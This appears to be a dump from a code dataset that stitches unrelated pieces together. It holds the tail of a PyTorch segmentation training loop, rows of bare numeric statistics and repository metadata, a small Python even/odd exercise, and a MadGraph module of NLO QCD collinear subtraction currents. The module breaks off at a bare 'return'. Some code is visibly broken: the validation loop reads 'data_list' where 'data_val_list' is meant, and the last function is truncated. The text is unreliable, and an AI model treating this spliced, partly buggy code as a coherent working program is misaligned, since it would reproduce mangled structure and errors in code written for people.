time_meter.avg / self.cfg["training"]["batch_size"], ) print(print_str) self.logger.info(print_str) self.writer.add_scalar("loss/train_loss", loss.item(), i) time_meter.reset() # Validation if i % self.cfg["training"]["val_interval"] == 0 or i == self.cfg["training"]["train_iters"]: self.model.eval() with torch.no_grad(): for i_val, (data_val_list) in tqdm(enumerate(self.valloader), ncols=20, desc='Validation'): if self.if_commun_label != 'None': images_val_list, labels_val_list, commun_label = data_list else: images_val_list, labels_val_list = data_list images_val = torch.cat(tuple(images_val_list), dim=1) labels_val = labels_val_list[0] if self.cfg['model']['multiple_output']: labels_val = torch.cat(tuple(labels_val_list), dim=0) images_val = images_val.to(self.device) labels_val = labels_val.to(self.device) if self.cfg['model']['shuffle_features'] == 'selection': outputs, rand_action = self.model(images_val) else: outputs = self.model(images_val) val_loss = self.loss_fn(input=outputs, target=labels_val) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels_val.data.cpu().numpy() self.running_metrics_val.update(gt, pred) val_loss_meter.update(val_loss.item()) self.writer.add_scalar("loss/val_loss", val_loss_meter.avg, i) self.logger.info("Iter %d Loss: %.4f" % (i, val_loss_meter.avg)) score, class_iou = self.running_metrics_val.get_scores() for k, v in score.items(): print(k, v) self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("val_metrics/{}".format(k), v, i) for k, v in class_iou.items(): self.logger.info("{}: {}".format(k, v)) self.writer.add_scalar("val_metrics/cls_{}".format(k), v, i) val_loss_meter.reset() self.running_metrics_val.reset() if score["Mean IoU : \t"] >= best_iou: best_iou = score["Mean IoU : \t"] state = { "epoch": i, "model_state": self.model.state_dict(), "optimizer_state": self.optimizer.state_dict(), "scheduler_state": self.scheduler.state_dict(), "best_iou": best_iou, } save_path = os.path.join( self.writer.file_writer.get_logdir(), "{}_{}_best_model.pkl".format(self.cfg["model"]["arch"], self.cfg["data"]["dataset"]), ) torch.save(state, save_path) if i == self.cfg["training"]["train_iters"]: flag = False break return save_path def load_weight(self, model_path): state = convert_state_dict(torch.load(model_path)["model_state"]) self.model.load_state_dict(state, strict=False) def evaluate(self, testloader): # "val_split" running_metrics = runningScore(self.n_classes) # Setup Model self.model.eval() self.model.to(self.device) for i, data_list in enumerate(testloader): if self.if_commun_label: images_list, labels_list, commun_label = data_list commun_label = commun_label.to(self.device) else: images_list, labels_list = data_list # multi-view inputs images = torch.cat(tuple(images_list), dim=1) # multi-view output if self.MO_flag: labels = torch.cat(tuple(labels_list), dim=0) else: # single output labels = labels_list[0] images = images.to(self.device) if self.cfg['model']['shuffle_features'] == 'selection': outputs, rand_action = self.model(images) else: outputs = self.model(images) pred = outputs.data.max(1)[1].cpu().numpy() gt = labels.numpy() # measurement results running_metrics.update(gt, pred) if self.if_commun_label: running_metrics.update_div(self.if_commun_label, gt, pred, commun_label) print('Normal') score, class_iou = running_metrics.get_only_normal_scores() running_metrics.print_score(self.n_classes, score, class_iou) print('Noise') score, class_iou = running_metrics.get_only_noise_scores() running_metrics.print_score(self.n_classes, score, class_iou) print("Overall") score, class_iou = running_metrics.get_scores() running_metrics.print_score(self.n_classes, score, class_iou) return score, class_iou

41.428247

129

0.520455

7,706

73,038

4.692447

0.034129

0.04411

0.036919

0.032909

0.974087

0.972566

0.971709

0.970326

0.966289

0.963523

0

0.006241

0.376941

73,038

1,762

130

41.451759

0.788362

0.033763

0

0.9274

0

0.089682

0.005182

0

1

0.021858

false

0

0.020297

0

0.058548

0.089774

0

null

0

1

0

1

0

null

0

7

70e0809c445d27e93089ec7bbc4649124ba6425a

325

py

Python

Python-Advanced/functions_advanced_exercise/even_or_odd.py

Xamaneone/SoftUni-Intro

985fe3249cd2adf021c2003372e840219811d989

[ "MIT" ]

null

Python-Advanced/functions_advanced_exercise/even_or_odd.py

Xamaneone/SoftUni-Intro

985fe3249cd2adf021c2003372e840219811d989

[ "MIT" ]

null

Python-Advanced/functions_advanced_exercise/even_or_odd.py

Xamaneone/SoftUni-Intro

985fe3249cd2adf021c2003372e840219811d989

[ "MIT" ]

null

def even_odd(*args): if "even" in args: return list(filter(lambda x: x % 2 == 0, [args[i] for i in range(len(args) - 1)])) return list(filter(lambda x: x % 2 == 1, [args[i] for i in range(len(args) - 1)])) # print(even_odd(1, 2, 3, 4, 5, 6, "even")) # print(even_odd(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, "odd"))

32.5

90

0.544615

66

325

2.636364

0.409091

0.12069

0.183908

0.252874

0.770115

0.482759

0

0.092

0.230769

325

9

91

36.111111

0.604

0.292308

0

0.017621

0

1

0.25

true

0

0.75

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

8

cb06f57df731fc6db65a2e8f3bf56e18f777cdd9

37,554

py

Python

madgraph/iolibs/template_files/OLD_subtraction/cataniseymour/NLO/local_currents.py

madnklo/madnklo

646a3db9c8efd7b4cb00e9d89b9197cd5394c01b

[ "NCSA" ]

1

2019-12-14T15:25:38.000Z

madgraph/iolibs/template_files/OLD_subtraction/cataniseymour/NLO/local_currents.py

madnklo/madnklo

646a3db9c8efd7b4cb00e9d89b9197cd5394c01b

[ "NCSA" ]

26

2018-10-08T15:49:32.000Z

2020-05-15T13:33:36.000Z

madgraph/iolibs/template_files/OLD_subtraction/cataniseymour/NLO/local_currents.py

madnklo/madnklo

646a3db9c8efd7b4cb00e9d89b9197cd5394c01b

[ "NCSA" ]

2

2019-03-25T17:28:48.000Z

2021-04-21T12:15:53.000Z

########################################################################################## # # Copyright (c) 2009 The MadGraph5_aMC@NLO Development team and Contributors # # This file is a part of the MadGraph5_aMC@NLO project, an application which # automatically generates Feynman diagrams and matrix elements for arbitrary # high-energy processes in the Standard Model and beyond. # # It is subject to the MadGraph5_aMC@NLO license which should accompany this # distribution. # # For more information, visit madgraph.phys.ucl.ac.be and amcatnlo.web.cern.ch # ########################################################################################## """Implementation of NLO colorful currents.""" import os import math import commons.utils as utils import commons.QCD_local_currents as currents pjoin = os.path.join CurrentImplementationError = utils.CurrentImplementationError #========================================================================================= # Eikonal factor, modified by partial fractioning and without divergence #========================================================================================= def mod_eikonal(pi, pj, pr): """Modified eikonal factor for soft particle with momentum pr emitted from the dipole with momenta pi and pj. This is obtained starting from the eikonal and: - ignoring 1 / sir, which is already included in the normalisation factor; - multiplying by the partial fraction sjr / (sir + sjr) to regulate for sjr -> 0. """ pipj = pi.dot(pj) pijpr = pr.dot(pi+pj) return 2 * pipj / pijpr #========================================================================================= # NLO final-collinear currents, containing the soft limits #========================================================================================= class QCD_final_collinear_0_qqx(currents.QCDLocalCollinearCurrent): """q q~ collinear tree-level current.""" @classmethod def does_implement_this_current(cls, current, model): # Check the general properties common to NLO QCD collinear tree-level currents init_vars = cls.common_does_implement_this_current(current, 2, 0) if init_vars is None: return None # Retrieve singular structure ss = current.get('singular_structure') # Check that the particles are a massless quark and its anti-quark in final-state if len(ss.legs) != 2: return None for leg in ss.legs: if not cls.is_quark(leg, model): return None if not cls.is_massless(leg, model): return None if cls.is_initial(leg): return None if not cls.are_antiparticles(ss.legs[0], ss.legs[1]): return None # The current is valid return init_vars @classmethod def get_sorted_children(cls, current, model): legs = current.get('singular_structure').legs return tuple(leg.n for leg in legs) def evaluate_kernel(self, zs, kTs, parent): # Retrieve the collinear variables z = zs[0] kT = kTs[0] # Instantiate the structure of the result evaluation = utils.SubtractionCurrentEvaluation({ 'spin_correlations' : [None, ((parent, (kT, )), ), ], 'color_correlations' : [None], 'values' : {(0, 0): {'finite': None}, (1, 0): {'finite': None}, } }) # The line below implements the g_{\mu\nu} part of the splitting kernel. # Notice that the extra longitudinal terms included in the spin-correlation 'None' # from the relation: # \sum_\lambda \epsilon_\lambda^\mu \epsilon_\lambda^{\star\nu} # = g^{\mu\nu} + longitudinal terms # are irrelevant because Ward identities evaluate them to zero anyway. # WARNING multiplied by two because of flavor factors evaluation['values'][(0, 0)]['finite'] = 2. * self.TR evaluation['values'][(1, 0)]['finite'] = 2. * 4. * self.TR * z*(1.-z) / kT.square() return evaluation class QCD_final_collinear_0_gq(currents.QCDLocalCollinearCurrent): """g q collinear tree-level current.""" @classmethod def does_implement_this_current(cls, current, model): # Check the general properties common to NLO QCD collinear tree-level currents init_vars = cls.common_does_implement_this_current(current, 2, 0) if init_vars is None: return None # Retrieve singular structure ss = current.get('singular_structure') # Check that all particles are massless final state for leg in ss.legs: if not cls.is_massless(leg, model): return None if cls.is_initial(leg): return None # Check that there are a quark and a gluon if len(ss.legs) != 2: return None if (cls.is_gluon(ss.legs[0], model) and cls.is_quark(ss.legs[1], model)): pass elif (cls.is_quark(ss.legs[0], model) and cls.is_gluon(ss.legs[1], model)): pass else: return None # The current is valid return init_vars @classmethod def get_sorted_children(cls, current, model): legs = current.get('singular_structure').legs if cls.is_gluon(legs[0], model): return (legs[0].n, legs[1].n) else: return (legs[1].n, legs[0].n) def evaluate_kernel(self, zs, kTs, parent): # Retrieve the collinear variables z = zs[0] # Instantiate the structure of the result evaluation = utils.SubtractionCurrentEvaluation({ 'spin_correlations' : [None], 'color_correlations' : [None], 'values' : {(0, 0): {'finite': None}} }) # We must subtract the soft-collinear (CxS *not* SxC) from this contribution: # P_gq = self.CF * ((1.-z)**2 + 1.)/z # CxS(P_gq) = self.CF * 2.*(1.-z) / z # SxC(P_gq) = self.CF * 2. / z # P_gq-CxS(P_gq) = self.CF * z # P_gq-SxC(P_gq) = self.CF * ((1.-z)**2 - 1.)/z evaluation['values'][(0, 0)]['finite'] = self.CF * z return evaluation def evaluate_subtraction_current( self, current, higher_PS_point=None, lower_PS_point=None, leg_numbers_map=None, reduced_process=None, hel_config=None, Q=None, **opts ): if higher_PS_point is None or lower_PS_point is None: raise CurrentImplementationError( self.name() + " needs the phase-space points before and after mapping." ) if leg_numbers_map is None: raise CurrentImplementationError( self.name() + " requires a leg numbers map, i.e. a momentum dictionary." ) if reduced_process is None: raise CurrentImplementationError( self.name() + " requires a reduced_process.") if not hel_config is None: raise CurrentImplementationError( self.name() + " does not support helicity assignment." ) if Q is None: raise CurrentImplementationError( self.name() + " requires the total mapping momentum Q." ) # Retrieve alpha_s and mu_r model_param_dict = self.model.get('parameter_dict') alpha_s = model_param_dict['aS'] mu_r = model_param_dict['MU_R'] # Include the counterterm only in a part of the phase space children = self.get_sorted_children(current, self.model) parent = leg_numbers_map.inv[frozenset(children)] pC = sum(higher_PS_point[child] for child in children) qC = lower_PS_point[parent] if self.is_cut(Q=Q, pC=pC): return utils.SubtractionCurrentResult.zero( current=current, hel_config=hel_config) # Evaluate collinear subtracted kernel zs, kTs = self.variables(higher_PS_point, lower_PS_point[parent], children, Q=Q) evaluation = self.evaluate_kernel(zs, kTs, parent) # Find all colored leg numbers except for the parent in the reduced process all_colored_parton_numbers = [] for leg in reduced_process.get('legs'): if self.model.get_particle(leg.get('id')).get('color') == 1: continue all_colored_parton_numbers.append(leg.get('number')) color_correlation_index = 1 ps = higher_PS_point[children[0]] pi = higher_PS_point[children[1]] # Now loop over the colored parton number pairs (parent, j) # and add the corresponding contributions to this current for j in all_colored_parton_numbers: # Write the eikonal for that pair if j == parent: continue # pj = sum(higher_PS_point[child] for child in leg_numbers_map[j]) # pj = higher_PS_point[j] qj = lower_PS_point[j] evaluation['color_correlations'].append(((parent, j),)) # eiks = -mod_eikonal(pi, pj, ps) mod = (qj.dot(qC)) / (qj.dot(pi+ps)) qjmod = mod * qj eiks = -mod_eikonal(pi, qjmod, ps) evaluation['values'][(0, color_correlation_index)] = {'finite': eiks} color_correlation_index += 1 # Add the normalization factors pC2 = pC.square() norm = 8. * math.pi * alpha_s / pC2 norm *= self.factor(Q=Q, pC=pC, qC=qC) for k in evaluation['values']: evaluation['values'][k]['finite'] *= norm # Construct and return result result = utils.SubtractionCurrentResult() result.add_result( evaluation, hel_config=hel_config, squared_orders=tuple(sorted(current.get('squared_orders').items()))) return result class QCD_final_collinear_0_gg(currents.QCDLocalCollinearCurrent): """g g collinear tree-level current.""" @classmethod def does_implement_this_current(cls, current, model): # Check the general properties common to NLO QCD collinear tree-level currents init_vars = cls.common_does_implement_this_current(current, 2, 0) if init_vars is None: return None # Retrieve singular structure ss = current.get('singular_structure') # Check that the particles are two final-state massless gluons if len(ss.legs) != 2: return None for leg in ss.legs: if not cls.is_gluon(leg, model): return None if not cls.is_massless(leg, model): return None if cls.is_initial(leg): return None # The current is valid return init_vars @classmethod def get_sorted_children(cls, current, model): legs = current.get('singular_structure').legs return tuple(leg.n for leg in legs) def evaluate_kernel(self, zs, kTs, parent): # Retrieve the collinear variables z = zs[0] kT = kTs[0] # Instantiate the structure of the result evaluation = utils.SubtractionCurrentEvaluation({ 'spin_correlations' : [None, ((parent,( kT, )), ), ], 'color_correlations' : [None], 'values' : {(0, 0): {'finite': None}, (1, 0): {'finite': None}, } }) # The line below implements the g_{\mu\nu} part of the splitting kernel. # Notice that the extra longitudinal terms included in the spin-correlation 'None' # from the relation: # \sum_\lambda \epsilon_\lambda^\mu \epsilon_\lambda^{\star\nu} # = g^{\mu\nu} + longitudinal terms # are irrelevant because Ward identities evaluate them to zero anyway. # We must subtract the soft-collinear (CxS *not* SxC) from this contribution: # P_gg = 2.*self.CA * ( (1.-z) / z + z / (1.- z) ) # CxS(P_gg) = 2.*self.CA * ( (1.-z) / z + z / (1.- z) ) # SxC(P_gg) = 2.*self.CA * ( 1 / z + 1 / (1.- z) ) # P_gg-CxS(P_gg) = 0 # P_gg-SxC(P_gg) = -4.*self.CA evaluation['values'][(0, 0)]['finite'] = -4.*self.CA evaluation['values'][(1, 0)]['finite'] = -2.*self.CA * 2.*z*(1.-z) / kT.square() return evaluation def evaluate_subtraction_current( self, current, higher_PS_point=None, lower_PS_point=None, leg_numbers_map=None, reduced_process=None, hel_config=None, Q=None, **opts ): if higher_PS_point is None or lower_PS_point is None: raise CurrentImplementationError( self.name() + " needs the phase-space points before and after mapping." ) if leg_numbers_map is None: raise CurrentImplementationError( self.name() + " requires a leg numbers map, i.e. a momentum dictionary." ) if reduced_process is None: raise CurrentImplementationError( self.name() + " requires a reduced_process.") if not hel_config is None: raise CurrentImplementationError( self.name() + " does not support helicity assignment." ) if Q is None: raise CurrentImplementationError( self.name() + " requires the total mapping momentum Q." ) # Retrieve alpha_s and mu_r model_param_dict = self.model.get('parameter_dict') alpha_s = model_param_dict['aS'] mu_r = model_param_dict['MU_R'] # Include the counterterm only in a part of the phase space children = self.get_sorted_children(current, self.model) parent = leg_numbers_map.inv[frozenset(children)] pC = sum(higher_PS_point[child] for child in children) qC = lower_PS_point[parent] if self.is_cut(Q=Q, pC=pC): return utils.SubtractionCurrentResult.zero( current=current, hel_config=hel_config) # Evaluate collinear subtracted kernel zs, kTs = self.variables(higher_PS_point, lower_PS_point[parent], children, Q=Q) evaluation = self.evaluate_kernel(zs, kTs, parent) # Find all colored leg numbers except for the parent in the reduced process all_colored_parton_numbers = [] for leg in reduced_process.get('legs'): if self.model.get_particle(leg.get('id')).get('color') == 1: continue all_colored_parton_numbers.append(leg.get('number')) color_correlation_index = 1 p0 = higher_PS_point[children[0]] p1 = higher_PS_point[children[1]] # Loop over the colored parton number pairs (parent, j) # and add the corresponding contributions to this current for j in all_colored_parton_numbers: # Write the eikonal for that pair if j == parent: continue # pj = higher_PS_point[j] # pj = sum(higher_PS_point[child] for child in leg_numbers_map[j]) qj = lower_PS_point[j] # eik0 = -mod_eikonal(pj, p1, p0) # eik1 = -mod_eikonal(pj, p0, p1) eik0 = -mod_eikonal(qj, qC, p0) eik1 = -mod_eikonal(qj, qC, p1) evaluation['color_correlations'].append(((parent, j),)) evaluation['values'][(0, color_correlation_index)] = {'finite': eik0 + eik1} color_correlation_index += 1 # Add the normalization factors pC2 = pC.square() norm = 8. * math.pi * alpha_s / pC2 norm *= self.factor(Q=Q, pC=pC, qC=qC) for k in evaluation['values']: evaluation['values'][k]['finite'] *= norm # Construct and return result result = utils.SubtractionCurrentResult() result.add_result( evaluation, hel_config=hel_config, squared_orders=tuple(sorted(current.get('squared_orders').items()))) return result #========================================================================================= # NLO initial-collinear currents, containing the soft limits #========================================================================================= class QCD_initial_collinear_0_gq(currents.QCDLocalCollinearCurrent): """gq collinear ISR tree-level current. q(initial) > g(initial_after_emission) q(final) """ variables = staticmethod(currents.Q_initial_coll_variables) @classmethod def does_implement_this_current(cls, current, model): # Check the general properties common to NLO QCD collinear tree-level currents init_vars = cls.common_does_implement_this_current(current, 2, 0) if init_vars is None: return None # Retrieve singular structure ss = current.get('singular_structure') # Check that the particles are a massless quark and its anti-quark in final-state if len(ss.legs) != 2: return None n_initial_state_quarks = 0 for leg in ss.legs: if cls.is_quark(leg, model) and cls.is_initial(leg): n_initial_state_quarks += 1 if n_initial_state_quarks != 1: return None n_final_state_quarks = 0 for leg in ss.legs: if cls.is_quark(leg, model) and not cls.is_initial(leg): n_final_state_quarks += 1 if n_final_state_quarks != 1: return None # The current is valid return init_vars @classmethod def get_sorted_children(cls, current, model): legs = current.get('singular_structure').legs # Always put the initial state child first children_numbers = [leg.n for leg in legs if leg.state == leg.INITIAL] # Then the final state ones children_numbers.extend([leg.n for leg in legs if leg.state == leg.FINAL]) return tuple(children_numbers) def evaluate_kernel(self, xs, kTs, parent): # Retrieve the collinear variable x x = xs[0] kT = kTs[0] evaluation = utils.SubtractionCurrentEvaluation({ 'spin_correlations' : [None, ((parent, (kT, )), ), ], 'color_correlations' : [None], 'values' : {(0, 0): {'finite': None}, (1, 0): {'finite': None}, } }) # The factor 'x' that should be part of the initial_state_crossing_factor cancels # against the extra prefactor 1/x in the collinear factorization formula # (see Eq. (8) of NNLO compatible NLO scheme publication arXiv:0903.1218v2) initial_state_crossing_factor = -1. # Correct for the ratio of color-averaging factor between the real ME # initial state flavor (quark) and the one of the reduced Born ME (gluon) initial_state_crossing_factor *= ((self.NC**2-1)/float(self.NC)) z = 1./x # We re-use here the Altarelli-Parisi Kernel of the P_q\bar{q} final state kernel # The line below implements the g_{\mu\nu} part of the splitting kernel. # Notice that the extra longitudinal terms included in the spin-correlation 'None' # from the relation: # \sum_\lambda \epsilon_\lambda^\mu \epsilon_\lambda^{\star\nu} # = g^{\mu\nu} + longitudinal terms # are irrelevant because Ward identities evaluate them to zero anyway. norm = initial_state_crossing_factor * self.TR evaluation['values'][(0, 0)]['finite'] = norm evaluation['values'][(1, 0)]['finite'] = norm * 4. * z*(1.-z) / kT.square() return evaluation class QCD_initial_collinear_0_qq(currents.QCDLocalCollinearCurrent): """ qq collinear ISR tree-level current. g(initial) > q(initial_after_emission) qx(final). """ variables = staticmethod(currents.Q_initial_coll_variables) @classmethod def does_implement_this_current(cls, current, model): # Check the general properties common to NLO QCD collinear tree-level currents init_vars = cls.common_does_implement_this_current(current, 2, 0) if init_vars is None: return None # Retrieve singular structure ss = current.get('singular_structure') if len(ss.legs) != 2: return None n_initial_state_gluons = 0 for leg in ss.legs: if cls.is_gluon(leg, model) and cls.is_initial(leg): n_initial_state_gluons += 1 if n_initial_state_gluons != 1: return None n_final_state_quarks = 0 for leg in ss.legs: if cls.is_quark(leg, model) and not cls.is_initial(leg): n_final_state_quarks += 1 if n_final_state_quarks != 1: return None # The current is valid return init_vars @classmethod def get_sorted_children(cls, current, model): legs = current.get('singular_structure').legs # Always put the initial state child first children_numbers = [leg.n for leg in legs if leg.state == leg.INITIAL] # Then the final state ones children_numbers.extend([leg.n for leg in legs if leg.state == leg.FINAL]) return tuple(children_numbers) def evaluate_kernel(self, xs, kTs, parent): # Retrieve the collinear variable x x = xs[0] # Instantiate the structure of the result evaluation = utils.SubtractionCurrentEvaluation({ 'spin_correlations' : [None], 'color_correlations' : [None], 'values' : {(0, 0): {'finite': None}} }) # The factor 'x' that should be part of the initial_state_crossing_factor cancels # against the extra prefactor 1/x in the collinear factorization formula # (see Eq. (8) of NNLO compatible NLO scheme publication arXiv:0903.1218v2) initial_state_crossing_factor = 1. # Correct for the ratio of color-averaging factor between the real ME # initial state flavor (gluon) and the one of the reduced Born ME (quark) initial_state_crossing_factor *= (self.NC/float(self.NC**2-1)) z = 1./x norm = initial_state_crossing_factor * self.CF # We re-use here the Altarelli-Parisi Kernel of the P_gq final state kernel without # the soft-subtractio term 2./z since the gluon is here in the initial state evaluation['values'][(0, 0)]['finite'] = norm * (1. + (1.-z)**2) / z return evaluation class QCD_initial_collinear_0_qg(currents.QCDLocalCollinearCurrent): """qg collinear ISR tree-level current. q(initial) > q(initial_after_emission) g(final) """ variables = staticmethod(currents.Q_initial_coll_variables) @classmethod def does_implement_this_current(cls, current, model): # Check the general properties common to NLO QCD collinear tree-level currents init_vars = cls.common_does_implement_this_current(current, 2, 0) if init_vars is None: return None # Retrieve singular structure ss = current.get('singular_structure') if len(ss.legs) != 2: return None n_initial_state_quarks = 0 for leg in ss.legs: if cls.is_quark(leg, model) and cls.is_initial(leg): n_initial_state_quarks += 1 if n_initial_state_quarks != 1: return None n_final_state_gluon = 0 for leg in ss.legs: if cls.is_gluon(leg, model) and not cls.is_initial(leg): n_final_state_gluon += 1 if n_final_state_gluon != 1: return None # The current is valid return init_vars @classmethod def get_sorted_children(cls, current, model): legs = current.get('singular_structure').legs # Always put the initial state child first children_numbers = [leg.n for leg in legs if leg.state == leg.INITIAL] # Then the final state ones children_numbers.extend([leg.n for leg in legs if leg.state == leg.FINAL]) return tuple(children_numbers) def evaluate_kernel(self, xs, kTs, parent): # Retrieve the collinear variable x x = xs[0] # Instantiate the structure of the result evaluation = utils.SubtractionCurrentEvaluation({ 'spin_correlations' : [None], 'color_correlations' : [None], 'values' : {(0, 0): {'finite': None}} }) # The factor 'x' that should be part of the initial_state_crossing_factor cancels # against the extra prefactor 1/x in the collinear factorization formula # (see Eq. (8) of NNLO compatible NLO scheme publication arXiv:0903.1218v2) initial_state_crossing_factor = 1. # Correct for the ratio of color-averaging factor between the real ME # initial state flavor (quark) and the one of the reduced Born ME (quark) initial_state_crossing_factor *= 1. z = 1./x # We re-use here the Altarelli-Parisi Kernel of the P_qg final state kernel, including # its soft subtraction # We must subtract the soft-collinear (CxS *not* SxC) from this contribution: # P_qg = self.CF * ( (1.+z**2)/(1.-z) ) # CxS(P_qg) = self.CF * ( 2 / (x - 1) ) = self.CF * ( 2 z / (1 - z) ) # P_qg-CxS(P_qg) = self.CF * (1 + z**2 - 2*z) / (1 - z) = self.CF * ( 1 - z) norm = initial_state_crossing_factor * self.CF evaluation['values'][(0, 0)]['finite'] = norm * (1 - z) return evaluation def evaluate_subtraction_current( self, current, higher_PS_point=None, lower_PS_point=None, leg_numbers_map=None, reduced_process=None, hel_config=None, Q=None, **opts ): """Add the distributed partial fractioned soft eikonal approximation to this hard collinear current """ if higher_PS_point is None or lower_PS_point is None: raise CurrentImplementationError( self.name() + " needs the phase-space points before and after mapping." ) if leg_numbers_map is None: raise CurrentImplementationError( self.name() + " requires a leg numbers map, i.e. a momentum dictionary." ) if reduced_process is None: raise CurrentImplementationError( self.name() + " requires a reduced_process.") if not hel_config is None: raise CurrentImplementationError( self.name() + " does not support helicity assignment." ) if Q is None: raise CurrentImplementationError( self.name() + " requires the total mapping momentum Q." ) # Retrieve alpha_s and mu_r model_param_dict = self.model.get('parameter_dict') alpha_s = model_param_dict['aS'] mu_r = model_param_dict['MU_R'] # Include the counterterm only in a part of the phase space children = self.get_sorted_children(current, self.model) parent = leg_numbers_map.inv[frozenset(children)] pC = higher_PS_point[children[0]] pC -= sum(higher_PS_point[child] for child in children[1:]) if self.is_cut(Q=Q, pC=pC): return utils.SubtractionCurrentResult.zero( current=current, hel_config=hel_config) # Evaluate collinear subtracted kernel zs, kTs = self.variables(higher_PS_point, lower_PS_point[parent], children, Q=Q) evaluation = self.evaluate_kernel(zs, kTs, parent) # Find all colored leg numbers except for the parent in the reduced process all_colored_parton_numbers = [] for leg in reduced_process.get('legs'): if self.model.get_particle(leg.get('id')).get('color') == 1: continue all_colored_parton_numbers.append(leg.get('number')) color_correlation_index = 1 ps = higher_PS_point[children[1]] pi = higher_PS_point[children[0]] # pi = lower_PS_point[parent] # Loop over the colored parton number pairs (parent, j) # and add the corresponding contributions to this current for j in all_colored_parton_numbers: # Write the eikonal for that pair # (positive here since the dipole end 'children[0]' is in the initial state) if j == parent: continue pj = higher_PS_point[j] # pj = sum(higher_PS_point[child] for child in leg_numbers_map[j]) # pj = lower_PS_point[j] eik1 = mod_eikonal(pi, pj, ps) evaluation['color_correlations'].append(((parent, j),)) evaluation['values'][(0, color_correlation_index)] = {'finite': eik1} color_correlation_index += 1 # Add the normalization factors pC2 = pC.square() norm = 8. * math.pi * alpha_s / pC2 norm *= self.factor(Q=Q, pC=pC) for k in evaluation['values']: evaluation['values'][k]['finite'] *= norm # Construct and return result result = utils.SubtractionCurrentResult() result.add_result( evaluation, hel_config=hel_config, squared_orders=tuple(sorted(current.get('squared_orders').items()))) return result class QCD_initial_collinear_0_gg(currents.QCDLocalCollinearCurrent): """gg collinear ISR tree-level current. g(initial) > g(initial_after_emission) g(final)""" variables = staticmethod(currents.Q_initial_coll_variables) @classmethod def does_implement_this_current(cls, current, model): # Check the general properties common to NLO QCD collinear tree-level currents init_vars = cls.common_does_implement_this_current(current, 2, 0) if init_vars is None: return None # Retrieve singular structure ss = current.get('singular_structure') if len(ss.legs) != 2: return None n_initial_state_gluons = 0 for leg in ss.legs: if cls.is_gluon(leg, model) and cls.is_initial(leg): n_initial_state_gluons += 1 if n_initial_state_gluons != 1: return None n_final_state_gluons = 0 for leg in ss.legs: if cls.is_gluon(leg, model) and not cls.is_initial(leg): n_final_state_gluons += 1 if n_final_state_gluons != 1: return None # The current is valid return init_vars @classmethod def get_sorted_children(cls, current, model): legs = current.get('singular_structure').legs # Always put the initial state child first children_numbers = [leg.n for leg in legs if leg.state == leg.INITIAL] # Then the final state ones children_numbers.extend([leg.n for leg in legs if leg.state == leg.FINAL]) return tuple(children_numbers) def evaluate_kernel(self, xs, kTs, parent): # Retrieve the collinear variable x x = xs[0] kT = kTs[0] # Instantiate the structure of the result evaluation = utils.SubtractionCurrentEvaluation({ 'spin_correlations' : [None, ((parent,( kT, )), ), ], 'color_correlations' : [None], 'values' : {(0, 0): {'finite': None}, (1, 0): {'finite': None}, } }) # The factor 'x' that should be part of the initial_state_crossing_factor cancels # against the extra prefactor 1/x in the collinear factorization formula # (see Eq. (8) of NNLO compatible NLO scheme publication arXiv:0903.1218v2) initial_state_crossing_factor = 1. # Correct for the ratio of color-averaging factor between the real ME # initial state flavor (gluon) and the one of the reduced Born ME (gluon) initial_state_crossing_factor *= 1. z = 1./x # The line below implements the g_{\mu\nu} part of the splitting kernel. # Notice that the extra longitudinal terms included in the spin-correlation 'None' # from the relation: # \sum_\lambda \epsilon_\lambda^\mu \epsilon_\lambda^{\star\nu} # = g^{\mu\nu} + longitudinal terms # are irrelevant because Ward identities evaluate them to zero anyway. # We re-use here the Altarelli-Parisi Kernel of the P_qg final state kernel, including # its soft subtraction # We must subtract the soft-collinear (CxS *not* SxC) from this contribution: # P_gg = 2.*self.CA * ( (z/(1.-z)) + ((1.-z)/z) ) # CxS(P_gg) = 2.*self.CA * ( (z/(1.-z)) ) # P_gg-CxS(P_gg) = 2.*self.CA * ((1.-z)/z) norm = initial_state_crossing_factor * 2. * self.CA evaluation['values'][(0, 0)]['finite'] = norm * ((1.-z)/z) evaluation['values'][(1, 0)]['finite'] = -norm * 2.*z*(1.-z) / kT.square() return evaluation def evaluate_subtraction_current( self, current, higher_PS_point=None, lower_PS_point=None, leg_numbers_map=None, reduced_process=None, hel_config=None, Q=None, **opts ): """Add the distributed partial fractioned soft eikonal approximation to this hard collinear current """ if higher_PS_point is None or lower_PS_point is None: raise CurrentImplementationError( self.name() + " needs the phase-space points before and after mapping." ) if leg_numbers_map is None: raise CurrentImplementationError( self.name() + " requires a leg numbers map, i.e. a momentum dictionary." ) if reduced_process is None: raise CurrentImplementationError( self.name() + " requires a reduced_process.") if not hel_config is None: raise CurrentImplementationError( self.name() + " does not support helicity assignment." ) if Q is None: raise CurrentImplementationError( self.name() + " requires the total mapping momentum Q." ) # Retrieve alpha_s and mu_r model_param_dict = self.model.get('parameter_dict') alpha_s = model_param_dict['aS'] mu_r = model_param_dict['MU_R'] # Include the counterterm only in a part of the phase space children = self.get_sorted_children(current, self.model) parent = leg_numbers_map.inv[frozenset(children)] pC = higher_PS_point[children[0]] pC -= sum(higher_PS_point[child] for child in children[1:]) if self.is_cut(Q=Q, pC=pC): return utils.SubtractionCurrentResult.zero( current=current, hel_config=hel_config) # Evaluate collinear subtracted kernel zs, kTs = self.variables(higher_PS_point, lower_PS_point[parent], children, Q=Q) evaluation = self.evaluate_kernel(zs, kTs, parent) # Find all colored leg numbers except for the parent in the reduced process all_colored_parton_numbers = [] for leg in reduced_process.get('legs'): if self.model.get_particle(leg.get('id')).get('color') == 1: continue all_colored_parton_numbers.append(leg.get('number')) color_correlation_index = 1 ps = higher_PS_point[children[1]] pi = higher_PS_point[children[0]] # pi = lower_PS_point[parent] # Loop over the colored parton number pairs (parent, j) # and add the corresponding contributions to this current for j in all_colored_parton_numbers: # Write the eikonal for that pair # (positive here since the dipole end 'children[0]' is in the initial state) if j == parent: continue pj = higher_PS_point[j] # pj = sum(higher_PS_point[child] for child in leg_numbers_map[j]) # pj = lower_PS_point[j] eik1 = mod_eikonal(pi, pj, ps) evaluation['color_correlations'].append(((parent, j),)) evaluation['values'][(0, color_correlation_index)] = {'finite': eik1} color_correlation_index += 1 # Add the normalization factors pC2 = pC.square() norm = 8. * math.pi * alpha_s / pC2 norm *= self.factor(Q=Q, pC=pC) for k in evaluation['values']: evaluation['values'][k]['finite'] *= norm # Construct and return result result = utils.SubtractionCurrentResult() result.add_result( evaluation, hel_config=hel_config, squared_orders=tuple(sorted(current.get('squared_orders').items()))) return 